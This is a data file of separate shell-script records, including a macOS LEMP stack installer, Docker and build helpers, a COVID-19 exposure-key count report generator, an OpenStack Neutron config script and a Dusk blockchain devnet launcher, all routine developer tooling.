then\n continue\n fi\n\n # Create the files directory if needed\n # shellcheck source=/dev/null\n if [[ ! -d \"/usr/local/etc/nginx/$(basename \"$(dirname \"$file\")\")\" ]]; then\n mkdir -p \"/usr/local/etc/nginx/$(basename \"$(dirname \"$file\")\")\"\n fi\n\n # Substitute environment variables and create the install the config file\n # Remove the .dynamic prefix from the filename (catch all for dynamic files)\n envsubst '${HOME},${LOCAL_DOMAIN},${WEB_ROOT_DIR}' < \"$file\" \\\n > \"/usr/local/etc/nginx/$(basename \"$(dirname \"$file\")\")/$(basename ${file/.dynamic/})\"\ndone;\n\n# Install dnsmasq\nnotice \"Installing dnsmasq ...\"\nbrew install dnsmasq\n\n# Add the localhost mask\ndnsmasq_add \"localhost\"\n\n# Flush the dns cache so it dnsmasq changes are updated\nsudo dscacheutil -flushcache\n\n# For mojave users ensure sdk headers are installed\nif [[ -f /Library/Developer/CommandLineTools/Packages/macOS_SDK_headers_for_macOS_10.14.pkg ]]; then\n sudo installer -pkg /Library/Developer/CommandLineTools/Packages/macOS_SDK_headers_for_macOS_10.14.pkg -target /\nfi\n\n# Install php versions\nbrew tap exolnet/homebrew-deprecated\nbrew install --build-from-source https://raw.githubusercontent.com/JParkinson1991/homebrew-deprecated/79d817a7ef794234d5276df0487a9d037b7b7bba/Formula/php@5.6.rb --with-openssl-1.1-patch\nbrew unlink php@5.6\nbrew install php@7.0 --build-from-source\nbrew unlink php@7.0\nbrew install php@7.1 --build-from-source\nbrew unlink php@7.1\nbrew install php@7.2 --build-from-source\nbrew unlink php@7.2\nbrew install php@7.3 --build-from-source\nbrew unlink php@7.3\nbrew install php --build-from-source\n\n# Install the info site\nmkdir -p \"$HBL_DIR/phpinfo\"\ncp \"$APP_ROOT/assets/php/info.php\" \"$HBL_DIR/phpinfo/info.php\"\n\n# Install mysql\nif ! package_installed mysql@5.7; then\n brew install mysql@5.7\n sudo rm -f \"/usr/local/etc/my.cnf\"\n cp \"$APP_ROOT/assets/mysql/my.cnf\" \"/usr/local/etc/my.cnf\"\n /usr/local/opt/mysql@5.7/bin/mysql.server start\n /usr/local/opt/mysql@5.7/bin/mysql_secure_installation\nfi\n\n# Install phpmyadmin\nif ! package_installed phpmyadmin; then\n brew install phpmyadmin\n cp /usr/local/etc/phpmyadmin.config.inc.php /usr/local/etc/phpmyadmin.config.inc.php.orig\n blowfish_secret=$(cat /dev/urandom | env LC_CTYPE=C tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)\n sed -e \"s|\\$cfg\\['blowfish_secret'\\] = ''|\\$cfg\\['blowfish_secret'\\] = '$blowfish_secret'|g\" \\\n /usr/local/etc/phpmyadmin.config.inc.php.orig > /usr/local/etc/phpmyadmin.config.inc.php\nfi\n\n# # # # # # # # # # #\n# POST INSTALLATION OUTPUTS\n# # #\n\n# Starts the stack\nnotice \"Starting the Stack\"\nstart_default\n\nsuccess \"Homebrew lemp initialised\"\nnotice \"Web root available at: http://localhost\"\nnotice \"PHP Info available at: http://info.$LOCAL_DOMAIN\"\nnotice \"DB Admin available at: http://phpmyadmin.$LOCAL_DOMAIN\"\n\nexit 0"} {"text": "#!/bin/bash\n\ndocker build -t vscode-ubuntu:v1 .\ndocker run -it -v /tmp/.X11-unix/:/tmp/.X11-unix/ -v /root/vs-test/vsfiles:/root/vs-test/vsfiles -v /root/vs-test/:/root/vs-test/ vscode-ubuntu:v1"} {"text": "#!/bin/bash \n\n# Startup script meant for docker\n\n# Take a backup and use said backup if already created\n# This is to make sure that every time we start, the SERVER-URL\n# is changed, so that we can change the URL if needed with a restart.\nif [ ! -f /tmp/bootstrap.bundle.js ]; then\n cp /usr/src/app/public/bootstrap.bundle.js /tmp/bootstrap.bundle.js\nelse\n cp /tmp/bootstrap.bundle.js /usr/src/app/public/bootstrap.bundle.js\nfi\n\nsed -i -e 's||'$1'|g' /usr/src/app/public/bootstrap.bundle.js\n\ncd /usr/src/app\nnpm run serveprod"} {"text": "#!/usr/bin/env bash\n\nset -e\n\n#mysql -Be \"CALL nbaGetNeverInjured();\" | tr '\\t' ',' | sed 's/NULL//g' > nba_never_injured.csv\n#python3 nba_upto_first_injury.py\n# python3 nba_from_first_to_second_injury.py > nba_from_first_to_second_injury.txt\n\ndatasets=(\"nba_never_injured\" \"nba_upto_first_injury\" \"nba_upto_first_and_only_injury\" \"nba_upto_second_injury\")\n\nfor dataset in \"${datasets[@]}\"\ndo\n\techo \"$dataset.py > $dataset.csv\"\n\tpython \"$dataset.py\" > \"$dataset.csv\"\ndone"} {"text": "tkejzlar/ruby-buildpack\n#!/usr/bin/env bash\nset -euo pipefail\n\ncd \"$( dirname \"${BASH_SOURCE[0]}\" )/..\"\nsource .envrc\n./scripts/install_tools.sh\n\nGINKGO_NODES=${GINKGO_NODES:-3}\nGINKGO_ATTEMPTS=${GINKGO_ATTEMPTS:-2}\nexport CF_STACK=${CF_STACK:-cflinuxfs3}\nDISK_LIMIT_ARG=\"\"\nMEM_LIMIT_ARG=\"\"\n\nif [ -n \"${CF_BRATS_DISK_QUOTA+x}\" ]; then\n DISK_LIMIT_ARG=\"-disk=$CF_BRATS_DISK_QUOTA\"\nfi\n\nif [ -n \"${CF_BRATS_MEM_QUOTA+x}\" ]; then\n MEM_LIMIT_ARG=\"-memory=$CF_BRATS_MEM_QUOTA\"\nfi\n\ncd src/*/brats\n\necho \"Run Buildpack Runtime Acceptance Tests\"\nginkgo -r -mod=vendor --flakeAttempts=$GINKGO_ATTEMPTS -nodes $GINKGO_NODES -- $DISK_LIMIT_ARG $MEM_LIMIT_ARG"} {"text": "__='\nCopyright 2020 CyanSemi Semiconductor Co.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n'\n#!/bin/bash\n\n# This script is used to pre-check the regular expressions before running \n# on hardware; point out the regex that couldn't be parsed by hardware.\n\n# The script requires the directory of \"deploy\" folder\n# and regex_file\n\nusage () {\n echo \"Usage: With two arguments:\"\n echo \"Example: $0 \"\n echo \"\"\n echo \"Usage: With one argument: (Process all of the regex_*.txt under ./testdata\"\n echo \"Example: $0 \"\n}\n\n###################################################\nif [ -z $1 ]; then\n usage\n exit -1\nfi\n\ndeploy_folder=`realpath $1` #Convert the input relative path to absolute on\nif [ ! -d $deploy_folder ]; then\n echo \"ERROR! deploy_folder $deploy_folder doesn't exist\"\n exit -1\nfi\nsh=$deploy_folder/check_regex.sh\n\n\n###################################################\nif [ -z $2 ]; then\n #simfiles need to list explicitly, because it is a link\n if [ -L ./testdata/simfiles ]; then\n argument2=\"./testdata ./testdata/simfiles/\"\n else\n argument2=\"./testdata\"\n fi\n file_list=`find $argument2 -type f -name regex_*.txt`\nelse\n argument2=$2\n file_list=`find $argument2 -type f`\nfi\n\necho \"Start parsing $argument2\"\n\nfor f in $file_list; do\n file=`realpath $f`\n long_files+=$file\n long_files+=\" \"\ndone\n\nfor lf in $long_files; do\n $sh $deploy_folder $lf\ndone\n###################################################"} {"text": "tek_report.sh\n#!/bin/bash\n\n# turn the CSVs into a HTML page to be nicer to readers\n\nTARGET_DIR=\"/var/www/tact/tek-counts\"\nTARGET=\"$TARGET_DIR/index.html\"\nCOUNTRY_LIST=\"ie it de ch pl dk at lv\"\nDATADIR=/home/stephen/code/tek_transparency\nARCHIVE=$DATADIR/all-zips\n\nfunction whenisitagain()\n{\n\tdate -u +%Y%m%d-%H%M%S\n}\nNOW=$(whenisitagain)\n\nif [ ! -d $TARGET_DIR ]\nthen\n TARGET=\"tek-index.html\"\n echo \"Can't see $TARGET_DIR, writing to $TARGET\"\nfi\n\n# do the file header\ncat >$TARGET <\n\n\n Testing Apps for COVID-19 Tracing (TACT) - TEK Survey \n\n\n\n

Testing Apps for COVID-19 Tracing (TACT) - TEK Survey

\n\n

This page displays the current counts of Temporary Exposure Keys (TEKs)\nthat are visible on the Internet, to allow for comparisons for each day, for\nthe Irish, Italian, German, Swiss, Polish, Danish, Austrian and Latvian apps. We also check if the\nIrish servers have published any TEKs (so far none that\nwe can see).

\n\n

We hope to expand the list of countries over\ntime (help welcome!) as more public health authorities adopt the Google/Apple\nExposure Notification (GAEN) API (if they do!). The code that produces this is\nhere. This is\nproduced as part of our TACT\nproject.

\n\n

The tables below show the counts of TEK for each of the days listed. Where\nthere were no TEKs for a given day, there is no row in the file. The TEK column\nreports the number of TEKs that were published, being considered useful for\ncontact tracing on that day, so do not represent the number of positive cases\nseen on that day (except perhaps for the most recent day). In other words, on\nthe latest day reported, the number of TEKs should (in theory) match the number\nof people using the app that test positive and subsequently upload their TEKs.\nEach such person will upload usually 14 TEKs (one for each day in the previous\ntwo weeks), though the public health authority might decide not to publish the\nfull set for medical reasons (e.g. not being infectious for some days). That\nmeans that for example the number of TEKs on the 2nd most recent day may\nbe the sum of the number of people who uploaded on that and the most recent\nday.

\n\n

The count of cases declared is the number of COVID-19 cases declared by that\ncountry to the WHO, either based on a manually downloaded file from the WHO\n(rarely) or else on a file from the ECDC that can be downloaded from here.\n

\n\n

Comparing the TEKs and Cases columns, it is clear that some more explanation\nfor those numbers is required. We are trying to find good answers for that.\n(And welcome inputs!)\n\n

    \n\t
  • On 20200702 we learned (from <>) that the Swiss \nkey server always emits 10 \"synthetic\" TEKs per\nday as a method of exercising the client code (a fine idea), so the number\nof \"real\" uploads is what is shown less 10. We also learned that the\nSwiss server-side can update the numbers post-facto, so each time our\nscript is run we download the last two weeks worth of information. It\nmay take a while to get a full picture of what's going on there.
  • \n\t
  • For some reason the German server publishes 10 keys for every\none really uploaded. (See this github issue.)\nI don't really buy that as a privacy win TBH - just rounding up to a \nmultiple of 10 would be fine, but at least I think I now understand\nthe numbers.
  • \n
  • On 20200704 we found out about the .de hourly API endpoint so we've\nadded grabbing those zips where they're available. Not clear if that's\nusing the same random-key-padding-multiplier or not, or maybe they\nchanged it down to 5 or something.
  • \n\t
  • On 20200709 added Austria. I'm currently unclear what those\nnumbers mean but did check 'em and they do seem to relate to unique\nTEK values. We'll see how it goes for a day or two before worrying.
  • \n
  • On 20200709 added Latvia as there are now a few TEKs.
  • \n
  • Added Ireland on 20200710
  • \n
  • 20200711: Took a look at the Austrian server code\nand it does have a configured minimum and jitter and randomly pads - search for ensureMinNumExposures(). No idea why they've picked such big numbers though.
  • \n\t
  • 20200713: started collecting numbers for Spain, where they're\nrunning a trial apparently, but not clear that\nthe server for their trial will be used when it goes live so we'll not \nyet show the trial numbers.
  • \n\n
\n\n

\n\n

This file is updated every hour while we figure out the behaviour. This update is from $NOW UTC. If\nyou manage one of these systems and would prefer we query less often please feel free to get in\ntouch.

\n\n

For an explanation of what this means, read this.

\n\nEOF\n\n# Check for Irish TEKs - there are none yet and we'll need to check\n# how to parse the index\nif [ -f $ARCHIVE/ie-canary ]\nthen\n cat $ARCHIVE/ie-canary >>$TARGET\nfi \n\n# table of tables with 1 row only \necho '' >>$TARGET\nfor country in $COUNTRY_LIST\ndo\n\tcfile=\"$ARCHIVE/$country-tek-times.csv\"\n\techo '' >>$TARGET\ndone\necho \"
' >>$TARGET\n\techo '

csv file

' >>$TARGET\n\techo '' >>$TARGET\n\tawk -F, '{print \"\"; for(i=1;i<=NF;i++) {print \"\"} print \"\"}' $cfile >>$TARGET\n\techo '
\"$i\"
' >>$TARGET\n\techo '
\" >>$TARGET\n\n# do the footer\ncat >>$TARGET <\n\nEOF"} {"text": "calmelated/linux-tools\n#!/bin/sh\n\n#sudo gem install rb-inotify livereload\nsudo gem install bundle\nsudo gem install guard\nsudo gem install guard-livereload\nsudo gem install rb-inotify\nsudo gem install yajl-ruby"} {"text": "#!/bin/bash\n\nGCP_PROJECT=\"cloud-functions-talk-22365\"\nGOOGLE_APPLICATION_CREDENTIALS=\"/Users/stefan/.secret/cloud-functions-talk-22365-6ba5c5af57f4.json\"\n\ngcloud alpha functions call --region=europe-west1 HelloWorld"} {"text": "reversemind/kafka-as-module\n#!/bin/bash\n\n#1 upload Apache Kafka as submodule\ngit submodule init\ngit submodule update\n\n#2 get branch 0.10.1\n#cd kafka/\n#git checkout 0.10.1\n#cd ..\n\n#3 fix build.gradle\ncp -f ./_kafka_fixed_build_gradle_ kafka/build.gradle\n\n#4 upload gradle wrapper\ngradle wrapper\n\n#5 build project\n./gradlew clean build -x test -x checkstyleMain -x checkstyleTest --info"} {"text": "#!/bin/bash\n\nmkdir ~neutron/.ssh\ncat >> ~neutron/.ssh/known_hosts <> /etc/neutron/plugins/ml2/ml2_conf.ini <> /etc/neutron/plugins/ml2/ml2_conf.ini\nfor ((i=1;i<${#hypervisor1[@]};i++)) ;do\necho \"${hypervisor1[0]}=${hypervisor1[$i]}\" >> /etc/neutron/plugins/ml2/ml2_conf.ini\necho \"${hypervisor2[0]}=${hypervisor2[$i]}\" >> /etc/neutron/plugins/ml2/ml2_conf.ini\ndone\ncat >> /etc/neutron/plugins/ml2/ml2_conf.ini <}\n\nEOF\n\n#switch two\n\n# echo \"[ml2_mech_cisco_nexus:${switch_two}]\" >> /etc/neutron/plugins/ml2/ml2_conf.ini\n# for ((i=1;i<${#hypervisor2[@]};i++)) ;do\n# echo \"${hypervisor1[0]}=${hypervisor1[$i]}\" >> /etc/neutron/plugins/ml2/ml2_conf.ini\n# echo \"${hypervisor2[0]}=${hypervisor2[$i]}\" >> /etc/neutron/plugins/ml2/ml2_conf.ini\n# done\n# cat >> /etc/neutron/plugins/ml2/ml2_conf.ini <}\n\n# EOF\n\nfor n in `ls /etc/init/neutron*`; do m=$(basename $n); o=${m%.*}; service $o restart; done"} {"text": "content/makeMds.command\n#!/bin/bash\n# coding: utf-8\n\ncd -- \"$(dirname \"$BASH_SOURCE\")\"\n\npython pdfannots_scriven.py"} {"text": "alias ps='ps aux'\nalias pf='ps -e | grep'\nalias psg='ps aux | grep -v grep | grep --ignore-case -e VSZ -e'"} {"text": "devnet.sh\n#!/bin/bash\n\nSCRIPT=$(basename ${BASH_SOURCE[0]})\nQTD=2 #QTD=2 == 3 nodes since it counts from zero\nTYPE=branch\nDUSK_VERSION=v0.3.0\nINIT=true\nMOCK=true\nVOUCHER=true\nFILEBEAT=false\nMOCK_ADDRESS=127.0.0.1:9191\nSEND_BID=false\nRUN_AUTOMATON=false\n\ncurrentDir=$(pwd)\nRACE=false\nDEBUG=false\n\n# define command exec location\nduskCMD=\"../bin/dusk\"\n\nusage() {\n echo \"Usage: $SCRIPT\"\n echo \"Optional command line arguments\"\n echo \"-c -- TYPE to use. eg: release\"\n echo \"-q -- QTD of validators to run. eg: 5\"\n echo \"-s -- DUSK_VERSION version. eg: v0.3.0\"\n echo \"-i -- INIT instances (true or false). default: true\"\n echo \"-m -- MOCK instances (true or false). default: true\"\n echo \"-f -- FILEBEAT instances (true or false). default: false\"\n echo \"-b -- SEND_BID tx to instances (true or false). default: false\"\n echo \"-a -- RUN_AUTOMATON to instances (true or false). default: false\"\n echo \"-r -- RACE enabled (true or false). eg: true\"\n echo \"-d -- DEBUG enabled (true or false). eg: true\"\n\n exit 1\n}\n\n\nwhile getopts \"h?c:q:s:i:m:f:b:a:r:d:\" args; do\ncase $args in\n h|\\?)\n usage;\n exit;;\n c ) TYPE=${OPTARG};;\n q ) QTD=${OPTARG};;\n s ) DUSK_VERSION=${OPTARG};;\n i ) INIT=${OPTARG};;\n m ) MOCK=${OPTARG};;\n f ) FILEBEAT=${OPTARG};;\n b ) SEND_BID=${OPTARG};;\n a ) RUN_AUTOMATON=${OPTARG};;\n r ) RACE=${OPTARG};;\n d ) DEBUG=${OPTARG};;\n esac\ndone\n\nset -euxo pipefail\nif [[ \"${TYPE}\" == \"branch\" && \"${RACE}\" == \"true\" && \"${DEBUG}\" == \"true\" ]]; then\n GOBIN=$(pwd)/bin go run scripts/build.go install -race -debug\nelif [[ \"${TYPE}\" == \"branch\" && \"${RACE}\" == \"true\" ]]; then\n GOBIN=$(pwd)/bin go run scripts/build.go install -race\nelif [[ \"${TYPE}\" == \"branch\" && \"${DEBUG}\" == \"true\" ]]; then\n GOBIN=$(pwd)/bin go run scripts/build.go install -debug\nelif [[ \"${TYPE}\" == \"branch\" ]]; then\n GOBIN=$(pwd)/bin go run scripts/build.go install\nfi\n\n#init dusk\ninit_dusk_func() {\n echo \"init Dusk node $i ...\"\n DDIR=\"${currentDir}/devnet/dusk_data/dusk${i}\"\n LOGS=\"${currentDir}/devnet/dusk_data/logs\"\n\n # cleanup\n rm -rf \"${DDIR}\"\n rm -rf \"${LOGS}\"\n rm -rf \"${DDIR}/walletDB/\"\n\n mkdir -p \"${DDIR}\"\n mkdir -p \"${LOGS}\"\n mkdir -p \"${DDIR}/walletDB/\"\n\n cat < \"${DDIR}\"/dusk.toml\n[consensus]\n defaultamount = 5\n defaultlocktime = 250000\n #defaultoffset = 10\n consensustimeout = 5\n\n[performance]\n # Number of workers to spawn on an accumulator component\n accumulatorWorkers = 4\n\n[database]\n dir = \"${DDIR}/chain/\"\n driver = \"heavy_v0.1.0\"\n\n[general]\n network = \"devnet\"\n walletonly = \"false\"\n safecallbacklistener = \"true\"\n\n# Timeout cfg for rpcBus calls\n[timeout]\n timeoutsendbidtx = 50\n timeoutsendstaketx = 50\n timeoutgetlastcommittee = 5\n timeoutgetlastcertificate = 5\n timeoutgetmempooltxsbysize = 4\n timeoutgetlastblock = 5\n timeoutgetcandidate = 5\n timeoutclearwalletdatabase = 0\n timeoutverifycandidateblock = 5\n timeoutgetmempooltxs = 3\n timeoutgetroundresults = 5\n timeoutbrokergetcandidate = 2\n timeoutreadwrite = 60\n timeoutkeepalivetime = 30\n timeoutdial = 5\n\n[genesis]\n legacy = false\n\n[gql]\n address = \"127.0.0.1:$((9500+$i))\"\n enabled = \"true\"\n network = \"tcp\"\n\n # enable/disable both HTTPS and WSS\n enableTLS = false\n # server TLS certificate file\n certFile = \"\"\n # server TLS key file\n keyFile = \"\"\n\n # maximum requests per second\n # uniqueness of a request is based on:\n # Remote IP, Request method and path\n maxRequestLimit = 20\n\n [gql.notification]\n # Number of pub/sub brokers to broadcast new blocks.\n # 0 brokersNum disables notifications system\n brokersNum = 1\n clientsPerBroker = 1000\n\n[logger]\n output = \"stdout\"\n #output = \"${DDIR}/dusk\"\n level = \"info\"\n format = \"json\"\n[logger.monitor]\n# enabling log based monitoring\nenabled = false\n\n[mempool]\n # Max size of memory of the accepted txs to keep\n maxSizeMB = 100\n\n # Possible values: \"hashmap\", \"syncpool\", \"memcached\"\n poolType = \"hashmap\"\n\n # number of txs slots to allocate on each reseting mempool\n preallocTxs = 100\n\n # Max number of items to respond with on topics.Mempool request\n # To disable topics.Mempool handling, set it to 0\n maxInvItems = 10000\n\n[network]\n port = \"$((7100+$i))\"\n minimumConnections = 5\n maxConnections = 50\n serviceFlag = 1\n\n\n [network.seeder]\n addresses = [\"127.0.0.1:8081\"]\n\n[rpc]\n address = \"${DDIR}/dusk-grpc.sock\"\n enabled = \"true\"\n network = \"unix\"\n\n # duration of the session for the grpc services exposed by the node\n sessionDurationMins = 5\n\n # do not require session\n requireSession = false\n\n enableTLS=false\n\n # server TLS certificate file\n certFile=\"\"\n\n # server TLS key file\n keyFile=\"\"\n\n [rpc.rusk]\n address = \"127.0.0.1:$((10000+$i))\"\n contractTimeout = 6000\n defaultTimeout = 1000\n connectionTimeout = 10000\n\n[wallet]\n file = \"${currentDir}/devnet-wallets/wallet$(($i)).dat\"\n store = \"${DDIR}/walletDB/\"\n[api]\n enabled=false\n enabletls = false\n address=\"127.0.0.1:$((9490+$i))\"\n dbfile=\"${DDIR}/chain/api.db\"\n #5 mins\n expirationtime=300\n\n\nEOF\n\n echo \"init Dusk node $i, done.\"\n}\n\n#init dusk\ninit_filebeat_func() {\n echo \"init FILEBEAT node $i ...\"\n DDIR=\"${currentDir}/devnet/dusk_data/dusk${i}\"\n rm -rf \"${DDIR}\"/filebeat\n\n cat < \"${DDIR}\"/filebeat.json.yml\nfilebeat.inputs:\n- type: log\n enabled: true\n paths:\n - ${DDIR}/dusk$((7100+$i)).log\n exclude_files: ['\\.gz$']\n encoding: plain\n json.keys_under_root: true\nname: dusk$((7100+$i))\noutput.logstash:\n hosts: [\"0.0.0.0:5000\"]\n #index: \"devnet-v1\"\n #tags: [\"devnet\",\"dusk${i}\"]\n #ignore_older: \"5h\"\n #close_inactive: \"4h\"\n #close_renamed: true\n #clean_inactive: true\n #clean_removed: true\n #tail_files: true\n encoding: plain\n#setup.dashboards.enabled: true\n#setup.kibana.host: \"localhost:5601\"\n#setup.kibana.protocol: \"http\"\n#setup.kibana.username: elastic\n#setup.kibana.password: \n#setup.dashboards.retry.enabled: true\n#setup.dashboards.retry_interval: 10\nfields:\n env: dusk$((7100+$i))\n# type: node\nprocessors:\n# - add_host_metadata: ~\n# - add_cloud_metadata: ~\n# - decode_json_fields:\n# fields: [\"field1\", \"field2\", ...]\n# process_array: false\n# max_depth: 1\n# target: \"\"\n# overwrite_keys: false\n# add_error_key: true\n - convert:\n fields:\n - {from: \"msg\", type: \"string\"}\n - {from: \"level\", to: \"msg_level\", type: \"string\"}\n - {from: \"category\", to: \"msg_category\", type: \"string\"}\n - {from: \"process\", to: \"msg_process\", type: \"string\"}\n - {from: \"topic\", to: \"msg_topic\", type: \"string\"}\n - {from: \"recipients\", to: \"msg_recipients\", type: \"string\"}\n - {from: \"step\", to: \"msg_step\", type: \"string\"}\n - {from: \"round\", to: \"msg_round\", type: \"string\"}\n - {from: \"id\", to: \"msg_id\", type: \"string\"}\n - {from: \"sender\", to :\"msg_sender\", type: \"string\"}\n - {from: \"agreement\", to: \"msg_agreement\", type: \"string\"}\n - {from: \"quorum\", to: \"msg_quorum\", type: \"string\"}\n - {from: \"new_best\", to: \"msg_new_best\", type: \"string\"}\n - {from: \"block_hash\", to: \"msg_block_hash\", type: \"string\"}\n - {from: \"prefix\", to: \"msg_prefix\", type: \"string\"}\n - {from: \"hash\", to: \"msg_hash\", type: \"string\"}\n - {from: \"error\", to: \"msg_error\", type: \"string\"}\n - {from: \"score\", to: \"msg_score\", type: \"string\"}\n - {from: \"count\", to: \"msg_count\", type: \"string\"}\n - {from: \"last_height\", to: \"msg_last_height\", type: \"string\"}\n - {from: \"height\", to: \"msg_height\", type: \"string\"}\n - {from: \"sender\", to: \"msg_sender\", type: \"string\"}\n ignore_missing: true\n fail_on_error: false\n mode: rename\n - drop_fields:\n fields: [\"agent\", \"ecs.version\", \"input\", \"log\", \"@metadata\", \"host\"]\n\nEOF\n\n chmod go-w \"${DDIR}\"/filebeat.json.yml\n\n echo \"init FILEBEAT node $i, done.\"\n}\n\n# start dusk mocks\nstart_dusk_mock_rusk_func() {\n echo \"starting Dusk Rusk mock $i ...\"\n\n DDIR=\"${currentDir}/devnet/dusk_data/dusk${i}\"\n WALLET_FILE=\"${currentDir}/devnet-wallets/wallet$(($i)).dat\"\n\n CMD=\"${currentDir}/bin/utils mockrusk --rusknetwork tcp --ruskaddress 127.0.0.1:$((10000+$i)) --walletstore ${DDIR}/walletDB/ --walletfile ${WALLET_FILE} --configfile ${DDIR}/dusk.toml\"\n ${CMD} >> \"${currentDir}/devnet/dusk_data/logs/mock_rusk$i.log\" 2>&1 &\n\n EXEC_PID=$!\n echo \"started Dusk Rusk Mock node $i, pid=$EXEC_PID\"\n}\n\n# start dusk\nstart_dusk_func() {\n echo \"starting Dusk node $i ...\"\n\n DDIR=\"${currentDir}/devnet/dusk_data/dusk${i}\"\n\n CMD=\"${currentDir}/bin/dusk --config ${DDIR}/dusk.toml\"\n ${CMD} <<< \"password\" >> \"${currentDir}/devnet/dusk_data/logs/dusk$i.log\" 2> \"${currentDir}/devnet/dusk_data/logs/dusk$i.err\" &\n\n EXEC_PID=$!\n echo \"started Dusk node $i, pid=$EXEC_PID\"\n# sleep 1\n\n}\n\nstart_dusk_mock_func() {\n echo \"starting Dusk Utils mock ...\"\n\n CMD=\"${currentDir}/bin/utils mock --grpcmockhost $MOCK_ADDRESS\"\n ${CMD} >> \"${currentDir}/devnet/dusk_data/logs/mock.log\" 2>&1 &\n\n EXEC_PID=$!\n echo \"started Dusk Utils mock, pid=$EXEC_PID\"\n}\n\n# send_bid_func\nsend_bid_func(){\n echo \"Sending bid to node $i ...\"\n\n DDIR=\"${currentDir}/devnet/dusk_data/dusk${i}\"\n\n # send bid cmd\n SENDBID_CMD=\"./bin/utils transactions --grpcaddr unix://${DDIR}/dusk-grpc.sock --txtype consensus --amount 10 --locktime 10\"\n ${SENDBID_CMD} >> \"${currentDir}/devnet/dusk_data/logs/sendbid_bid$i.log\" 2>&1 &\n}\n\n# automaton_func\nautomaton_func(){\n echo \"Starting automaton, will be sending automated stakes and bids to node $i ...\"\n\n DDIR=\"${currentDir}/devnet/dusk_data/dusk${i}\"\n\n # send bid cmd\n AUTOMATE_CMD=\"./bin/utils automate --grpcaddr unix://${DDIR}/dusk-grpc.sock --sendstaketimeout 10 --sendbidtimeout 10\"\n ${AUTOMATE_CMD} >> \"${currentDir}/devnet/dusk_data/logs/automaton$i.log\" 2>&1 &\n}\n\nstart_voucher_func() {\n echo \"starting Dusk Voucher ...\"\n\n CMD=\"${currentDir}/bin/voucher\"\n ${CMD} >> \"${currentDir}/devnet/dusk_data/logs/voucher.log\" 2>&1 &\n\n EXEC_PID=$!\n echo \"started Dusk Voucher, pid=$EXEC_PID\"\n}\n\nstart_filebeat_func() {\n echo \"starting FILEBEAT node $i ...\"\n\n DDIR=\"${currentDir}/devnet/dusk_data/dusk${i}\"\n filebeat -e -path.config \"${DDIR}\" -path.data \"${DDIR}/filebeat\" -c filebeat.json.yml -d \"*\" >> \"${currentDir}/devnet/dusk_data/logs/filebeat${i}.log\" 2>&1 &\n\n EXEC_PID=$!\n echo \"started FILEBEAT, pid=$EXEC_PID\"\n}\n\nif [ \"${INIT}\" == \"true\" ]; then\n\n for i in $(seq 0 \"$QTD\"); do\n init_dusk_func \"$i\"\n done\n\nfi\n\n#sleep 1\n\nif [ \"${VOUCHER}\" == \"true\" ]; then\n start_voucher_func\nfi\n\n#sleep 1\n\nif [ \"${MOCK}\" == \"true\" ]; then\n start_dusk_mock_func\n\n for i in $(seq 0 \"$QTD\"); do\n start_dusk_mock_rusk_func \"$i\"\n done\nfi\n\nif [ \"${FILEBEAT}\" == \"true\" ]; then\n\n for i in $(seq 0 \"$QTD\"); do\n init_filebeat_func \"$i\"\n start_filebeat_func \"$i\"\n done\n\nfi\n\n#sleep 1\n\nfor i in $(seq 0 \"$QTD\"); do\n start_dusk_func \"$i\"\ndone\n\nsleep 5\n\nif [ \"${SEND_BID}\" == \"true\" ]; then\n for i in $(seq 0 \"$QTD\"); do\n send_bid_func \"$i\"\n done\nfi\n\nsleep 5\n\nif [ \"${RUN_AUTOMATON}\" == \"true\" ]; then\n for i in $(seq 0 \"$QTD\"); do\n automaton_func \"$i\"\n done\nfi\n\necho \"done starting Dusk stack\"\nexit 0"} {"text": "install.sh\n#! /bin/sh\n\n# pull\nif [ -d ~/.vim ]\nthen\n mv ~/.vim ~/.vim-bk\nfi\ngit clone http://github.com/athom/my-sword.git ~/.vim\n\n# install vundle\nif [ ! -d ~/.vim/bundle/vundle ]\nthen\n git clone https://github.com/gmarik/vundle.git ~/.vim/bundle/vundle\nfi\n\necho \"link configurations\"\n# rename .vimrc\nif [ -f ~/.vimrc ]\nthen\n mv ~/.vimrc ~/.vimrc-bk\nfi\n\n# rename .gvimrc\nif [ -f ~/.gvimrc ]\nthen\n mv ~/.gvimrc ~/.gvimrc-bk\nfi\n\n# link configurations\nln -s ~/.vim/_vimrc ~/.vimrc\nln -s ~/.vim/_gvimrc ~/.gvimrc\n\n# install plugins\necho \"install plugins\"\nvim +BundleInstall +qa"} {"text": "integration/device-test.sh\n#!/usr/bin/env bash\nsource $(dirname ${BASH_SOURCE[0]})/assert.sh\n\nPROG=`realpath $1`\nUNITSNUM=${UNITSNUM:-9}\nMNTDIR=`mktemp -d`\n\ncleanup() {\n echo Remove mountpoint $MNTDIR\n fusermount -u $MNTDIR || (echo \"Trying sudo...\"; sudo fusermount -u $MNTDIR && echo DONE)\n rmdir $MNTDIR\n exit $RESULT\n}\n\ntrap cleanup EXIT INT\n\n# Test section\n\necho Mount $MNTDIR by $PROG\nassert $PROG --units=$UNITSNUM $MNTDIR\n\nassert echo 0 '>' $MNTDIR/ctrl\nassert echo 0 '|' diff - $MNTDIR/ctrl\nassert echo 5 '>' $MNTDIR/ctrl\nassert echo 3 '>' $MNTDIR/ctrl\nassert echo 6 '>' $MNTDIR/ctrl\nassert printf '5\\\\n3\\\\n6\\\\n' '|' diff - $MNTDIR/ctrl\n\nassert echo 123 '>' $MNTDIR/unit7/lram\nassert echo 321 '>' $MNTDIR/unit7/pram\nassert echo 123 '|' diff - $MNTDIR/unit7/lram\nassert echo 321 '|' diff - $MNTDIR/unit7/pram\n\n# End of test section\n\nif [[ $RESULT -ne 0 ]]; then\n printf \"\\n****************FAILED****************\\n\"\nelse\n printf \"\\nAll is fine!\\n\"\nfi\n\nexit $RESULT"} {"text": "#!/bin/bash\n\nBASEDIR=$(dirname $0)\nDISTDIR=$BASEDIR/../../dist\nSRCDIR=$BASEDIR/../../src/\nNODE_MODULES=$BASEDIR/../../node_modules\n\nrm -rf $DISTDIR/src\nrm -rf $DISTDIR/node_modules\n\ncp $BASEDIR/../../package.json $DISTDIR\ncp $BASEDIR/../../yarn.lock $DISTDIR\n\n$BASEDIR/../../node_modules/.bin/babel $SRCDIR 